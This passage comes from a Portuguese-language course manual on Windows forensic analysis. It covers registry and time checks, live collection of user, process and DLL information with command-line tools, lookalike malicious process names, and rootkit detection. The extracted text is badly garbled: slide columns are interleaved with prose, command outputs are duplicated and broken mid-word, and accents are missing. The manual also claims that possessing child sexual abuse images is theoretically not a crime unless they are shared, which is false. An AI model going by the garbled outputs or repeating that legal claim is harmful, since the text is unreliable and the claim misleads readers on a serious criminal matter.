REG_DWORD StandardBias 0 oneInformation]
REG_BINARY StandardStart Data to follow:
REG_DWORD Bias 180
00000200 03000000 00000000 00000000
REG_SZ DaylightName E. South America Daylight Time
REG_SZ StandardName E. South America Standard Time
REG_DWORD DaylightBias -60 REG_DWORD StandardBias 0
REG_BINARY DaylightStart Data to follow:
REG_BINARY StandardStart Data to follow:
00000A00 02000000 00000000 00000000
REG_DWORD ActiveTimeBias 120

00000200 03000000 00000000 00000000


REG_SZ DaylightName E. South America Daylight Time
REG_DWORD DaylightBias -60
REG_BINARY DaylightStart Data to follow:

00000A00 02000000 00000000 00000000


REG_DWORD ActiveTimeBias 120

Podemos fazer uma consulta no registro para descobrir o timezone. Alm disso, j
vimos que o comando dd fornece a hora do sistema em horrio UTC e horrio local.
A ferramenta reg.exe permite fazer consultas a chaves de registro.

Anlise forense em Windows


132
Escola Superior de Redes RNP

Podemos verificar acima que o sistema sincroniza o


Primeiras aes

horrio com um servidor NTP remoto, o que uma
boa garantia de que o horrio da mquina est cor-
H d
Hora do sistema
i t
reto. Isto facilita a correlao de eventos com fontes
D:\IR\xp>nettime\\computador externas como logs de roteadores e firewalls.
Currenttimeat\\computadoris1/27/20089:51PM
Thecommandcompletedsuccessfully.
Thecommandcompletedsuccessfully
O comando net.exe tambm permite fazer uma
D:\IR\xp>nettime\\computador/QUERYSNTP
ThecurrentSNTPvalueis:200.144.121.33,0x1
srie de consultas importantes ao sistema. Vamos
The command completed successfully. conhecer mais caractersticas deste comando nas
sesses seguintes, mas vale a pena estudar melhor
o funcionamento dessa ferramenta.

Concluses
Concluses

Na prxima sesso vamos conhecer mais sobre as


Vimos nessa sesso
Vi os conceitos
it b
bsicos
i dde anlise
li
forense em sistemas Windows ferramentas que permitem coletar informaes sobre
Algumas caractersticas do NTFS diferem das que vimos processos e conexes de rede, e sobre as estrutu-
at agora em ambientes Linux ras prprias do Windows, como registro, usurios e
Conhecemos as ferramentas do Live CD do Helix e polticas de segurana.
vimos como utilizar algumas
g delas p
para coletar
evidncias em uma mquina comprometida

Anlise forense Sesso de aprendizagem 8


8
Sesso de aprendizagem 8
Anlise forense em Windows
Roteiro de atividades

Tpicos e conceitos

\\Iniciando a anlise forense em sistemas Windows.

Competncias tcnicas desenvolvidas

\\O aluno aprender a iniciar uma investigao de um sistema Windows e a


utilizar as ferramentas disponveis para o trabalho.

Outras competncias desenvolvidas

\\Capacidade de investigao e pesquisa do aluno.

Tempo previsto para as atividades

\\90 minutos
134
Escola Superior de Redes RNP

Atividade 1 Coleta de evidncias em Windows

Execute os passos descritos na sesso em sua estao e documente todos


os passos tomados, criando fichas de evidncia do mesmo modo como foi
feito nas sesses anteriores. Voc deve coletar informaes sobre o
ambiente onde est sua mquina, documentar as informaes externas,
capturar a tela (pode usar um print screen ou ferramenta de captura),
coletar imagem da memria e informaes sobre o horrio da mquina.
No necessrio coletar uma cpia da imagem de disco, mas colocar em
seu relatrio os comandos necessrios para realizar essa operao.

Atividade 2 Classificando as ferramentas

Use o tempo destinado a este exerccio para estudar as ferramentas


presentes no pacote de ferramentas. Prepare um relatrio descrevendo a
funo de cada ferramenta. Quais ferramentas podem ser utilizadas para
coletar uma imagem da memria RAM da mquina? Quais ferramentas
permitem fazer cpias do disco? Qual delas voc acha que a ferramenta
mais completa, no sentido de coletar mais informaes teis ao investigador?

Atividade 3 Busca de outras ferramentas para Windows

Pesquise na internet outras ferramentas para realizar anlise forense em


sistemas Windows. Faa um relatrio descrevendo as ferramentas que
encontrar e as caractersticas que as tornam interessantes. Dica: comece
com os links de Forensic Windows Tools e Forensics Tools fornecidos na
bibliografia.

Anlise forense Sesso de aprendizagem 8


9
Sesso de aprendizagem 9
Anlise forense avanada em Windows

Sumrio da sesso

Anlise forense avanada em Windows. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 136

Coleta de informaes bsicas . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 136

Processos em execuo no sistema . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 140

Bibliotecas do sistema . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 145

Informaes sobre arquivos abertos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 147

Servios em execuo . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 148

Concluses . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 151

Roteiro de atividades . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 153

Atividade 1 Levantando informaes do sistema . . . . . . . . . . . . . . . . . . . . . 154

Atividade 2 Identificando processos comprometidos . . . . . . . . . . . . . . . . . . 154

Atividade 3 Novas ferramentas. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 154


136
Escola Superior de Redes RNP

Anlise forense avanada em Windows


Anlise forense avanada em Windows

A realizao de um processo de anlise forense em


Windows tem caractersticas que tornam mais
complexa a coleta de evidncias um sistema Windows no difere conceitualmente do
Mesmo assim, as tcnicas vistas at agora continuam processo realizado no ambiente Linux. A principal
valendo: diferena que em um sistema Windows as informa-
Informaes bsicas sobre o sistema es mais desejadas so volteis e s podem ser
Identificao e coleta de processos em execuo
obtidas no sistema vivo (live system ou on-line), o
Informaes sobre bibliotecas em uso
que exige a realizao de inmeros procedimentos
Servios
de coleta de dados ao vivo.

Devido ao fato de sistemas Windows terem grande


presena em ambientes de desktop de empresas
e usurios caseiros, o tipo de incidente que em geral envolve uma mquina com
este sistema um pouco diferente do que normalmente acontece com sistemas
Linux, que costumam ser utilizados em servidores. Por este motivo, as principais
razes para a realizao de um procedimento de anlise forense em um sistema
Windows so as seguintes:

\\O sistema est infectado por algum vrus ou cdigo malicioso;

\\O sistema foi comprometido;

\\Caso envolvendo direitos autorais;

\\Pornografia;

\\Fraude;

\\Presena de trojan ou backdoor instalado;

\\Utilizao do sistema de forma maliciosa.

Coleta de informaes bsicas


Coleta de informaes bsicas

Assim como na coleta de evidncias em Linux, preci-


Informaes sobre o sistema
samos saber inicialmente h quanto tempo o sistema
D:\IR\xp> uptime est ligado, para restringir o perodo possvel para
18:38:20 up 3:58, 0 users, load average: 0.00, 0.00, 0.00
a ocorrncia do incidente. Para isso, vamos utilizar
D:\IR\xp> hostname uma ferramenta disponvel no kit de ferramentas do
Computador
Live CD do Helix. Abra um prompt de comandos,
D:\IR\xp> whoami
faa as mudanas nas variveis de ambiente para
Usuario
executar somente os binrios do kit (cmdenv.bat) e
execute os comandos mostrados.

O comando uptime.exe permite saber h quanto


tempo o sistema est on-line. Podemos verificar tambm que ele indica o nmero
de usurios que esto acessando o sistema, valor que nem sempre bate com
a realidade, pois ele busca essa informao em um local diferente de onde o
Windows normalmente a mantm.

Anlise forense Sesso de aprendizagem 9


137

O prximo passo serve para identificar corretamente a mquina investigada. Muitas


vezes, um incidente em uma empresa pode envolver uma mquina que no deveria
fazer parte da rede. Por exemplo, se o invasor for um funcionrio que resolveu
levar seu notebook ou computador pessoal para a sua empresa, nela no vai haver
registro sobre a mquina. Precisamos descobrir como ela se identifica na rede,
pois em ambiente Windows esse nome transmitido pela rede pelo protocolo
NETBIOS e pode ser importante saber essa informao ao examinar os logs.

A seguir, precisamos coletar informaes sobre os usurios da mquina, j que


essa informao no mantida em um arquivo como o passwd no Linux. O
primeiro passo identificar o usurio que est logado na mquina atualmente,
medida necessria caso o investigador encontre a mquina logada ao chegar para
a investigao inicial.

Uma informao importante sobre o usurio logado,


Coleta de informaes bsicas
que uma caracterstica do Windows, o chamado
SID (Secure Identification).
Informaes sobre o sistema

D:\IR\xp> psgetsid Este identificador um nmero nico que identifica


SID for \\COMPUTADOR:
S-1-5-21-4042056708-2335835806-3410500470
o usurio ou a mquina na rede e normalmente uti-
lizado em diversos recursos do sistema para indicar
D:\IR\xp> psgetsid Usuario
SID for COMPUTADOR\Usuario: quem tem permisses para acessar tais recursos.
S-1-5-21-4042056708-2335835806-3410500470-1006

Estes identificadores so importantes ao analisar


diversas evidncias no Windows que tenham relao
com permisses e segurana. Podemos determinar
um usurio especfico para descobrir o SID.

Observamos no slide que alm das contas de


Coleta de informaes bsicas
sistema, somente o usurio que j vimos est
conectado localmente no computador. Alm disso, o
Informaes sobre o sistema
D:\IR\xp> psloggedon comando do slide indica conexes remotas atravs
de compartilhamentos na mquina, o que pode ser
Users logged on locally:
Error: could not retrieve logon time uma informao importante se o incidente envolver
NT AUTHORITY\LOCAL SERVICE
Error: could not retrieve logon time
roubos de propriedade intelectual ou pedofilia.
NT AUTHORITY\NETWORK SERVICE
29/1/2008 14:40:10 COMPUTADOR\Usuario
Error: could not retrieve logon time Neste ltimo caso, importante notar que se um
NT AUTHORITY\SYSTEM usurio mantm arquivos de pornografia infantil em
No one is logged on via resource shares.
sua mquina, teoricamente no est cometendo
crime, pois de acordo com o cdigo da criana e do
adolescente, o crime consiste em transmitir ou tor-
nar pblica a informao. Entretanto, se o computador onde esto armazenadas
as fotos tiver um compartilhamento de diretrio, pode ser considerada a disponibi-
lizao pblica, e consequentemente a caracterizao criminal.

Anlise forense avanada em Windows


138
Escola Superior de Redes RNP

O comando logonsessions.exe permite descobrir


Coleta de informaes bsicas
todas as sesses de login existentes e os usurios
associados a elas. Vemos no slide um login de usu-
Informaes sobre o sistema
D:\IR\xp> logonsessions rio no console. O comando tambm exibe logins:
[2] Logon session 00000000:00018df7: \\Sem interatividade;
User name: COMPUTADOR\Usuario
Auth package: NTLM
Logon type: Interactive
\\De servios ou processos do sistema;
Session: 0
Sid: S-1-5-21-4042056708-2335835806- \\Remotos.
3410500470-1006
Logon time: 29/1/2008 14:40:08
Logon server: COMPUTADOR
DNS Domain:
UPN:

D:\IR\xp> net users8


Coleta de informaes bsicas
User accounts for \\COMPUTADOR
__vmware_user__ Administrator ASPNET
Informaes sobre o sistema curso Guest HelpAssistant
D:\IR\xp> net users Usuario SUPPORT_12312331
User accounts for \\COMPUTADOR
__vmware_user__ Administrator ASPNET
curso Guest HelpAssistant
Usuario SUPPORT_12312331 D:\IR\xp> userdump \\COMPUTADOR usuario8

D:\IR\xp> userdump \\COMPUTADOR usuario Querying Controller \\COMPUTADOR


Querying Controller \\COMPUTADOR Privs: Admin Privs
Privs: Admin Privs
OperatorPrivs: No explicit OP Privs OperatorPrivs: No explicit OP Privs
Password age: Tue Jan 29 21:43:33 2008 Password age: Tue Jan 29 21:43:33 2008
LastLogon: Fri Jul 20 19:40:29 2007
LastLogoff: Thu Jan 01 00:00:00 1970 LastLogon: Fri Jul 20 19:40:29 2007
Acct Expires: Never
LastLogoff: Thu Jan 01 00:00:00 1970
Acct Expires: Never

O comando acima permite listar os usurios cadastrados na mquina. Este


comando j foi visto na ltima sesso.

O comando net.exe faz parte do pacote bsico do Windows, e tem diversos par-
metros que podem ser usados para interagir com o sistema.

Podemos usar a ferramenta UserDump.exe para coletar informaes sobre todos


os usurios do sistema.

Veja as informaes sobre o ltimo login do usurio e sobre a validade da senha,


que podem ter importncia na investigao.

Anlise forense Sesso de aprendizagem 9


139

D:\IR\xp> ntfsinfo c:8


Coleta de informaes bsicas
Allocation Size
----------------
Informaes sobre o sistema Bytes per sector : 512
Bytes per cluster : 4096
D:\IR\xp> ntfsinfo c:
Allocation Size Bytes per MFT record : 1024
----------------
Bytes per sector : 512 Clusters per MFT record: 0
Bytes per cluster : 4096
Bytes per MFT record : 1024 MFT Information
Clusters per MFT record:
MFT Information
0
---------------
--------------- MFT size : 176 MB (0% of drive)
MFT size : 176 MB (0% of drive)
MFT start cluster : 6 MFT start cluster : 6
MFT zone clusters : 5656576 - 5676928
MFT zone size : 79 MB (0% of drive) MFT zone clusters : 5656576 - 5676928
MFT mirror start : 629425
Meta-Data files MFT zone size : 79 MB (0% of drive)
---------------
MFT mirror start : 629425
Meta-Data files
---------------

Uma informao que pode ser importante para a anlise posterior da imagem de
disco pode ser conseguida com o comando ntfsinfo.exe, que permite extrair algu-
mas informaes bsicas sobre o disco.

Veja no slide informaes importantes sobre a estrutura de arquivos no disco


especificado no comando: confira especialmente as informaes sobre o MFT.

D:\IR\xp> mem8
Coleta de informaes bsicas
655360 bytes total conventional memory
655360 bytes available to MS-DOS
Informaes sobre o sistema 598160 largest executable program size
1048576 bytes total contiguous extended memory
D:\IR\xp> mem
655360 bytes total conventional memory 0 bytes available contiguous extended memory
655360 bytes available to MS-DOS 941056 bytes available XMS memory
598160 largest executable program size MS-DOS resident in High Memory Area
1048576 bytes total contiguous extended memory
0 bytes available contiguous extended memory
941056 bytes available XMS memory
MS-DOS resident in High Memory Area O comando mem.exe fornece informaes sobre a
memria do sistema.

D:\IR\xp> psinfo8
Coleta de informaes bsicas
System information for \\COMPUTADOR:
Uptime: 0 days 4 hours 56 minutes 29 seconds
Informaes sobre o sistema Kernel version: Microsoft Windows XP, Uniprocessor
Free
D:\IR\xp> psinfo
System information for \\COMPUTADOR: Product type: Professional
Uptime:
Kernel version:
0 days 4 hours 56 minutes 29 seconds
Microsoft Windows XP, Uniprocessor Free
Product version: 5.1
Product type: Professional Service pack: 2
Product version: 5.1
Service pack: 2 Kernel build number: 2600
Kernel build number: 2600
Registered organization: Registered organization:
Registered owner: Usuario
Install date: 18/10/2005, 19:19:17 Registered owner: Usuario
Activation status:
IE version:
Error reading status
7.0000
Install date: 18/10/2005, 19:19:17
System root: C:\WINDOWS Activation status: Error reading status
Physical memory: 1022 MB
IE version: 7.0000
System root: C:\WINDOWS
Physical memory: 1022 MB

Anlise forense avanada em Windows


140
Escola Superior de Redes RNP

Lembrando dos tipos de incidentes que normalmente acontecem em um sistema


Windows, percebemos que grande parte deles pode acontecer em sistemas que
no so atualizados constantemente. Por isso, importante descobrir se o sistema
que estamos analisando est atualizado e devidamente autenticado.

O comando psinfo.exe permite descobrir este tipo de informao.

Temos no slide diversas informaes importantes, como a verso do Windows ins-


talada, informaes sobre o registro e ativao do sistema, a durao do tempo
em que o sistema est ligado, a verso do Internet Explorer, a data de instalao
do Windows, a memria do sistema e informaes sobre o hardware.

Observe que a informao sobre ativao nem sempre pode ser lida como vemos
no comando acima. No exemplo, o comando foi executado em uma mquina devi-
damente ativada e autenticada.

Processos em execuo no sistema


Processos em execuo no sistema

D:\IR\xp> ps -a -W8
D:\IR\xp> ps -a -W PID PPID PGID WINPID TTY UID STIME COMMAND
PID PPID PGID WINPID TTY UID STIME COMMAND
4 0 0 4 ? 0 16:24:48 *** 4 0 0 4 ? 0 16:24:48 *** unknown ***
unknown ***
944 0 0
\SystemRoot\System32\smss.exe
944 ? 0 14:39:48 944 0 0 944 ? 0 14:39:48 \SystemRoot\System32\smss.
1068 0 0 1068 ? 0 14:39:58 exe
\??\C:\WINDOWS\system32\winlogon.exe
1112 0 0 1112 ? 0 14:39:58 1068 0 0 1068 ? 0 14:39:58 \??\C:\WINDOWS\system32\
C:\WINDOWS\system32\services.exe
1124 0 0 1124 ? 0 14:39:58
winlogon.exe
C:\WINDOWS\system32\lsass.exe
1272 0 0 1272 ? 0 14:39:59
1112 0 0 1112 ? 0 14:39:58 C:\WINDOWS\system32\serv
C:\WINDOWS\system32\Ati2evxx.exe ices.exe
1284 0 0 1284 ? 0 14:39:59
C:\WINDOWS\system32\svchost.exe 1124 0 0 1124 ? 0 14:39:58 C:\WINDOWS\system32\lsas

s.exe
1272 0 0 1272 ? 0 14:39:59 C:\WINDOWS\system32\Ati2
evxx.exe
1284 0 0 1284 ? 0 14:39:59 C:\WINDOWS\system32\svch
ost.exe

Outra informao importante a coletar em um sistema invadido referente aos


processos executados pelo sistema. Muitas vezes, possvel ainda encontrar em
execuo o programa do vrus ou worm que invadiu a mquina, ou algum servidor
executado por um invasor para prover acesso a material ilcito.

Uma das caractersticas que consideramos imprescindveis em nossas ferramentas


a capacidade de obterem o mesmo resultado sob as mesmas condies iniciais.
Isto muito importante na lista de processos, pois diversos fatores podem influir
no resultado das ferramentas, e muitos deles podem indicar um comprometimento
maior do sistema.

O comando ps.exe, disponvel no kit de ferramentas, permite listar os processos


em execuo no sistema. Uma informao importante, que no dada pelo
Gerenciador de Tarefas, por exemplo, o caminho completo do executvel. Esta
informao importante quando for necessrio diferenciar entre o nome de um
processo vlido do sistema, como por exemplo svchost.exe.

Anlise forense Sesso de aprendizagem 9


141

Alguns vrus e ferramentas hacker utilizam este mesmo


Processos em execuo no sistema
nome para confundir os usurios, j que o Gerenciador de
Tarefas no diferencia um arquivo pelo nome completo.
Necessidade de descobrir o caminho completo do
executvel Quanto a isso, importante comentar que muitos vrus e
Programas maliciosos se disfaram como executveis ferramentas hacker utilizam esta tcnica para tentarem
vlidos se passar despercebidos pelo usurio. Muitos vrus cos-
Se voc observar os processos msmgs.exe ou tumam utilizar os nomes scvhost.exe ou msmgs.exe.
scvhost.exe, vai identific-los como maliciosos?
importante conhecer os processos mais comuns em
possvel perceber algum problema com estes processos?
sistemas Windows
Por conta disso, importante o investigador conhecer
bem os processos comuns do Windows. A correta
identificao de um processo vlido pode depender de
alguns fatores, como conhecimento prvio sobre servi-
os oferecidos no sistema, servios bsicos da plataforma Windows e conhecimentos
sobre processos que podem ser inseridos no sistema por aplicaes vlidas.

O principal problema diferenciar entre o processo legtimo svchost.exe e o processo


falso scvhost.exe.

\\Alg.exe Application Layer Gateway Service,


Processos em execuo no sistema servio relacionado com o firewall do Windows
(pode ser terminado pelo Gerenciador de tarefas).
Processo Descrio Pode ser terminado pelo
Gerenciador de tarefas?
Alg.exe Application Layer Gateway Service, servio relacionado com o firewall do
Windows.
Sim
\\csrss.exe client/server run-time subsystem (no
pode ser terminado pelo Gerenciador de tarefas).
csrss.exe client/server run-time subsystem No
explorer.exe Interface do usurio. Sim
internet.exe Executado na inicializao, permite a troca de configurao do teclado e aparece Sim
como cone no System Tray.

\\explorer.exe Interface do usurio (pode ser


lsass.exe Local security authentication server No
mstask.exe Task scheduler service No

terminado pelo Gerenciador de tarefas).


smss.exe Session manager subsystem, responsvel por iniciar a sesso do usurio. No
spoolsv.exe Spooler service, responsvel pela fila de impresso. No
svchost.exe Generic Service Process, atua como host para outros processos executados por No
dlls; normalmente existe em mais de uma instncia. utilizado tambm para

\\internet.exe Executado na inicializao, permite


executar servios de rede.
services.exe Services Control Manager, responsvel por iniciar e terminar servios do No
sistema.
system
system idle
System kernel-mode threads
Processo que contabiliza o processamento disponvel no sistema, normalmente
No
No
a troca de configurao do teclado e aparece
como cone no System Tray (pode ser terminado
process ocupando a maioria do processamento disponvel (99%).
taskmgr.exe Gerenciador de tarefas Sim
winlogon.exe Responsvel pelo processo de login/logout do usurio. No

pelo Gerenciador de tarefas).

\\lsass.exe Local security authentication server (no


pode ser terminado pelo Gerenciador de tarefas).

\\mstask.exe Task scheduler service (no pode ser terminado pelo Gerenciador
de tarefas).

\\smss.exe Session manager subsystem, responsvel por iniciar a sesso do


usurio (no pode ser terminado pelo Gerenciador de tarefas).

\\spoolsv.exe Spooler service, responsvel pela fila de impresso (no pode


ser terminado pelo Gerenciador de tarefas).

\\svchost.exe Generic Service Process, atua como host para outros


processos executados por dlls; normalmente existe em mais de uma
instncia. utilizado tambm para executar servios de rede (no pode ser
terminado pelo Gerenciador de tarefas).

\\services.exe Services Control Manager, responsvel por iniciar e terminar


servios do sistema (no pode ser terminado pelo Gerenciador de tarefas).

Anlise forense avanada em Windows


142
Escola Superior de Redes RNP

\\System System kernel-mode threads (no pode ser terminado pelo


Gerenciador de tarefas).

\\system idle process Processo que contabiliza o processamento disponvel


no sistema, normalmente ocupando a maioria do processamento disponvel
(99%) (no pode ser terminado pelo Gerenciador de tarefas).

\\taskmgr.exe Gerenciador de tarefas (pode ser terminado pelo Gerenciador


de tarefas).

\\winlogon.exe Responsvel pelo processo de login/logout do usurio (no


pode ser terminado pelo Gerenciador de tarefas).

O site processlibrary.com permite pesquisar um nome de arquivo e saber se ele


usado por algum vrus.

D:\IR\xp> pslist8
Processos em execuo no sistema
Process information for COMPUTADOR:
Name Pid Pri Thd Hnd Priv CPU Time Elapsed Time
Idle 0 0 1 0 0 5:22:42.671 0:00:00.000
D:\IR\xp> pslist
Process information for COMPUTADOR: System 4 8 68 645 0 0:01:50.234 0:00:00.000
Name Pid Pri Thd Hnd Priv CPU Time Elapsed Time
Idle 0 0 1 0 0 5:22:42.671 0:00:00.000 smss 944 11 3 21 168 0:00:00.015 6:18:01.531
System 4 8 68 645 0 0:01:50.234 0:00:00.000
smss 944 11 3 21 168 0:00:00.015 6:18:01.531 csrss 1040 13 13 747 2004 0:00:53.640 6:17:55.000
csrss 1040 13 13 747 2004 0:00:53.640 6:17:55.000
winlogon 1068 13 22 448 6388 0:00:00.937 6:17:52.234
winlogon 1068 13 22 448 6388 0:00:00.937 6:17:52.234
services
lsass
1112
1124
9 15 337
9 21 461
1996
5868
0:00:10.515
0:00:05.187
6:17:52.046
6:17:52.031
services 1112 9 15 337 1996 0:00:10.515 6:17:52.046
ati2evxx 1272 8 5 71 796 0:00:00.343 6:17:51.218 lsass 1124 9 21 461 5868 0:00:05.187 6:17:52.031
svchost 1284 8 18 220 3384 0:00:00.203 6:17:51.203
... ati2evxx 1272 8 5 71 796 0:00:00.343 6:17:51.218
svchost 1284 8 18 220 3384 0:00:00.203 6:17:51.203
...

Este comando tem diversos parmetros interessantes para listar a utilizao de


memria de cada processo ou os threads que cada um mantm. Vale a pena estudar
melhor este comando.

Anlise forense Sesso de aprendizagem 9


143

D:\IR\xp> ..\diamondcs\cmdline.exe8
Processos em execuo no sistema
DiamondCS Commandline Retrieval Tool for Windows NT
4/2K/XP
D:\IR\xp> ..\diamondcs\cmdline.exe
DiamondCS Commandline Retrieval Tool for Windows NT4/2K/XP
944 - \SystemRoot\System32\smss.exe <Error> Unable t
944 - \SystemRoot\System32\smss.exe <Error> Unable to read memory o read memory from PID 944
from PID 944
1040 - \??\C:\WINDOWS\system32\csrss.exe 1040 - \??\C:\WINDOWS\system32\csrss.exe
C:\WINDOWS\system32\csrss.exe ObjectDirectory=\Windows
SharedSection=1024,3072,512 Windows=On SubSystemType=Windows C:\WINDOWS\system32\csrss.exe ObjectDirectory=\Wind
ServerDll=basesrv,1 ows SharedSection=1024,3072,512 Windows=On SubSyste
ServerDll=winsrv:UserServerDllInitialization,3
ServerDll=winsrv:ConServerDllInitialization,2 ProfileControl=Off
mType=Windows ServerDll=basesrv,1 ServerDll=winsrv:
MaxRequestThreads=16 UserServerDllInitialization,3 ServerDll=winsrv:ConS
1068 - \??\C:\WINDOWS\system32\winlogon.exe winlogon.exe erverDllInitialization,2 ProfileControl=Off MaxReque
1112 - C:\WINDOWS\system32\services.exe stThreads=16
C:\WINDOWS\system32\services.exe
1124 - C:\WINDOWS\system32\lsass.exe C:\WINDOWS\system32\lsass.exe 1068 - \??\C:\WINDOWS\system32\winlogon.exe winlogo
1272 - C:\WINDOWS\system32\Ati2evxx.exe n.exe
1112 - C:\WINDOWS\system32\services.exe C:\WINDOWS\
system32\services.exe
1124 - C:\WINDOWS\system32\lsass.exe C:\WINDOWS\sys
tem32\lsass.exe
1272 - C:\WINDOWS\system32\Ati2evxx.exe

Uma caracterstica desta ferramenta mostrar os parmetros passados na linha


de comando de cada processo.

Uma caracterstica importante desta ferramenta a possibilidade de visualizar


diversas propriedades importantes sobre cada processo, incluindo threads, cone-
xes TCP/IP abertas pelo processo, informaes de desempenho, strings dentro
do executvel, entre outras informaes.

Anlise forense avanada em Windows


144
Escola Superior de Redes RNP

Vimos at agora uma srie de ferramentas diferentes


Processos em execuo no sistema
para listagem de processos ativos, e a importncia de
comparar o resultado destas ferramentas para identifi-
necessrio comparar diversas ferramentas, pois
alguns programas maliciosos escondem informaes car incoerncias e possveis comprometimentos.
do Windows
Rootkits usam essa tcnica A razo disso que em muitos casos, os vrus e
Inconsistncias entre duas ferramentas podem ser a ferramentas hacker utilizam tecnologias de rootkit
indicao de um rootkit
sempre til ter disponvel uma ferramenta anti-rootkit
para esconder informaes do usurio e do sistema
operacional.

Ao realizar a anlise forense em uma imagem de um


disco Windows, possvel encontrar informaes
que poderiam estar escondidas pelo rootkit, mas no
caso de processos necessrio verificar essa informao na mquina on-line.

Portanto, importante o investigador ter sempre disponvel uma boa ferramenta


anti-rootkit. No kit de ferramentas encontramos o Rootkit Revealer.

Este programa examina a mquina e procura por inconsistncias na forma como


o Windows reporta informaes sobre processos e arquivos, utilizando diversas
tcnicas. Muitas vezes, isto suficiente para identificar a presena de um rootkit.

No exemplo do slide, observamos diversas inconsistncias detectadas pelo


programa. A maioria delas representada por falsos positivos, mas repare nas
ltimas 4 linhas do log: elas mostram chaves de registro escondidas da API do
Windows por alguma ferramenta, o que pode indicar a presena do rootkit.

No caso abaixo, no entanto, so mostradas as chaves de registro referentes ao


programa Daemon Tools, um simulador de drive de CD utilizado para montar ima-
gens de CD como se fossem drives. Esta ferramenta usa tecnologias rootkit para
realizar estas operaes, mas no maliciosa.

Anlise forense Sesso de aprendizagem 9


145

Bibliotecas do sistema
Bibliotecas do sistema

Windows utiliza bibliotecas compartilhadas, conhe-


Windows utiliza bibliotecas compartilhadas,
conhecidas como Dinamic Link Library (DLL) cidas como Dinamic Link Library (DLL). Elas normal-
Normalmente ficam armazenadas no diretrio mente ficam armazenadas no diretrio C:\WINDOWS\
C:\WINDOWS\SYSTEM32 SYSTEM32, mas os processos podem retir-las do
Pode ser um problema quando bibliotecas diretrio corrente se elas estiverem nele.
comprometidas so utilizadas para modificar a forma
de funcionamento de um processo, comprometendo o
sistema Pode ser um problema quando bibliotecas compro-
Um exemplo desse tipo de ataque a injeo de cdigo metidas so utilizadas para modificar a forma de
no Internet Explorer, atravs da explorao de alguma
falha do programa
funcionamento de um processo, comprometendo o
sistema. Um exemplo desse tipo de ataque a inje-
o de cdigo no Internet Explorer, atravs da explo-
rao de alguma falha do programa. Com isso, o hacker consegue comprometer
o sistema sem modificar ou executar nenhum binrio estranho.

D:\IR\xp> listdlls wordpad8


Bibliotecas do sistema
wordpad.exe pid: 676
Command line: C:\Program Files\Windows NT\Accessor
ies\wordpad.exe
D:\IR\xp> listdlls wordpad
wordpad.exe pid: 676 Base Size Version Path
Command line: "C:\Program Files\Windows NT\Accessories\wordpad.exe"
Base Size Version Path 0x01000000 0x37000 5.01.2600.2180 C:\Program Files\
0x01000000 0x37000 5.01.2600.2180 C:\Program Files\Windows Windows NT\Accessories\wordpad.exe
NT\Accessories\wordpad.exe
0x7c900000 0xb0000 5.01.2600.2180 C:\WINDOWS\system32\ntdll.dll 0x7c900000 0xb0000 5.01.2600.2180 C:\WINDOWS\system
0x7c800000 0xf5000
0x5f800000 0xf2000
5.01.2600.3119 C:\WINDOWS\system32\kernel32.dll
6.02.8071.0000 C:\WINDOWS\system32\MFC42u.DLL
32\ntdll.dll
0x77c10000 0x58000 7.00.2600.2180 C:\WINDOWS\system32\msvcrt.dll 0x7c800000 0xf5000 5.01.2600.3119 C:\WINDOWS\system
0x77f10000 0x47000 5.01.2600.3159 C:\WINDOWS\system32\GDI32.dll
0x7e410000 0x90000 5.01.2600.3099 C:\WINDOWS\system32\USER32.dll
32\kernel32.dll

0x5f800000 0xf2000 6.02.8071.0000 C:\WINDOWS\system
32\MFC42u.DLL
0x77c10000 0x58000 7.00.2600.2180 C:\WINDOWS\system
32\msvcrt.dll
0x77f10000 0x47000 5.01.2600.3159 C:\WINDOWS\system
32\GDI32.dll
0x7e410000 0x90000 5.01.2600.3099 C:\WINDOWS\system
32\USER32.dll

Se no for especificado um nome de processo, ele simplesmente lista todas as


DLLs de todos os processos em execuo. Portanto, esta pode ser tambm uma
boa ferramenta para listar processos em execuo.

D:\IR\xp> ..\winfingerprint\procinterrogate -pid 6768


Bibliotecas do sistema
ProcInterrogate Version 0.0.1 by Kirby Kuehl vacuum
@users.sourceforge.net
wordpad.exe (Process ID: 676)
D:\IR\xp> ..\winfingerprint\procinterrogate -pid 676
ProcInterrogate Version 0.0.1 by Kirby Kuehl vacuum@users.sourceforge.net Entry Point Base Size Module
wordpad.exe (Process ID: 676)
Entry Point Base Size Module 0x01019B4D 0x01000000 00037000 C:\Program Files\Wi
0x01019B4D 0x01000000 00037000 C:\Program Files\Windows ndows NT\Accessories\wordpad.exe
NT\Accessories\wordpad.exe
0x7C913156 0x7C900000 000B0000 C:\WINDOWS\system32\ntdll.dll 0x7C913156 0x7C900000 000B0000 C:\WINDOWS\system32
0x7C80B5AE
0x5F806A61
0x7C800000 000F5000
0x5F800000 000F2000
C:\WINDOWS\system32\kernel32.dll
C:\WINDOWS\system32\MFC42u.DLL
\ntdll.dll
0x77C1F2A1 0x77C10000 00058000 C:\WINDOWS\system32\msvcrt.dll 0x7C80B5AE 0x7C800000 000F5000 C:\WINDOWS\system32
0x77F16597 0x77F10000 00047000 C:\WINDOWS\system32\GDI32.dll
0x7E42E966 0x7E410000 00090000 C:\WINDOWS\system32\USER32.dll
\kernel32.dll

0x77DD70D4 0x77DD0000 0009B000 C:\WINDOWS\system32\ADVAPI32.dll 0x5F806A61 0x5F800000 000F2000 C:\WINDOWS\system32
\MFC42u.DLL
0x77C1F2A1 0x77C10000 00058000 C:\WINDOWS\system32
\msvcrt.dll
0x77F16597 0x77F10000 00047000 C:\WINDOWS\system32
\GDI32.dll

Anlise forense avanada em Windows


146
Escola Superior de Redes RNP

0x7E42E966 0x7E410000 00090000 C:\WINDOWS\system32\USER32.dll


0x77DD70D4 0x77DD0000 0009B000 C:\WINDOWS\system32\ADVAPI32.dll

Uma coisa que o investigador deve estar atento ao examinar estes comandos so
bibliotecas localizadas em local que no seja padro no sistema. Outra indicao
de que o sistema pode ter sido comprometido a presena de bibliotecas com o
mesmo nome do sistema, mas com verses diferentes das outras bibliotecas padro.

